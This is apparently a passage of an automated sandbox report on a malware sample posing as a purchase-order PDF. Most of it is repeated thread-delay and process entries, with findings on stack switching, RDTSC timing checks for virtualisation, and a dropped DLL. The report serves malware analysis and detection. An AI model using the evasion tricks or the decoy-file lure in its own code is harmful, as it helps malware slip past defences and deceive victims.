Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	API/Special instruction interceptor: Address: 3481FC0
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	API/Special instruction interceptor: Address: 20A1FC0

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	RDTSC instruction interceptor: First address: 3444D45 second address: 3444D45 instructions: 0x00000000 rdtsc 0x00000002 cmp dx, 16E2h 0x00000007 cmp ebx, ecx 0x00000009 jc 00007F00C552BAFEh 0x0000000b test dx, 80D2h 0x00000010 inc ebp 0x00000011 test bl, cl 0x00000013 inc ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	RDTSC instruction interceptor: First address: 2064D45 second address: 2064D45 instructions: 0x00000000 rdtsc 0x00000002 cmp dx, 16E2h 0x00000007 cmp ebx, ecx 0x00000009 jc 00007F00C55A6EFEh 0x0000000b test dx, 80D2h 0x00000010 inc ebp 0x00000011 test bl, cl 0x00000013 inc ebx 0x00000014 rdtsc

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Memory allocated: 110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Memory allocated: 32B70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Memory allocated: 34B70000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 599344	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 598561	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 598425	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 598298	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 598179	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 598052	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 597810	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 597594	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 597375	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 597266	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 597047	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 596828	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 596718	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 596499	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 596389	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 596172	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 596060	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 595953	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 595837	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 595719	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 595603	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 595442	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 595287	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 595156	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 594922	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 594812	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 594703	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 594594	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 594469	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 594359	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 594250	Jump to behavior

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Window / User API: threadDelayed 7593			Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Window / User API: threadDelayed 2250			Jump to behavior

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsd51BE.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

API coverage: 2.5 %

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -28592453314249787s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -599891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 1684	Thread sleep count: 7593 > 30	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 1684	Thread sleep count: 2250 > 30	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -599672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -599344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -599219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -599000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -598890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -598781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -598672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -598561s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -598425s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -598298s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -598179s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -598052s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -597922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -597810s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -597703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -597594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -597484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -597375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -597266s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -597156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -597047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -596937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -596828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -596718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -596609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -596499s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -596389s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -596281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -596172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -596060s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -595953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -595837s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -595719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -595603s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -595442s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -595287s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -595156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -595031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -594922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -594812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -594703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -594594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -594469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -594359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe TID: 2616	Thread sleep time: -594250s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 0_2_00405846 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405846
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 0_2_004027FB FindFirstFileW,	0_2_004027FB
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 0_2_00406398 FindFirstFileW,FindClose,	0_2_00406398
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_00405846 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	3_2_00405846
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_004027FB FindFirstFileW,	3_2_004027FB
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_00406398 FindFirstFileW,FindClose,	3_2_00406398

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 599344	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 598561	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 598425	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 598298	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 598179	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 598052	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 597810	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 597594	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 597375	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 597266	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 597047	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 596828	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 596718	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 596499	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 596389	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 596172	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 596060	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 595953	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 595837	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 595719	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 595603	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 595442	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 595287	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 595156	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 594922	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 594812	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 594703	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 594594	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 594469	Jump to behavior
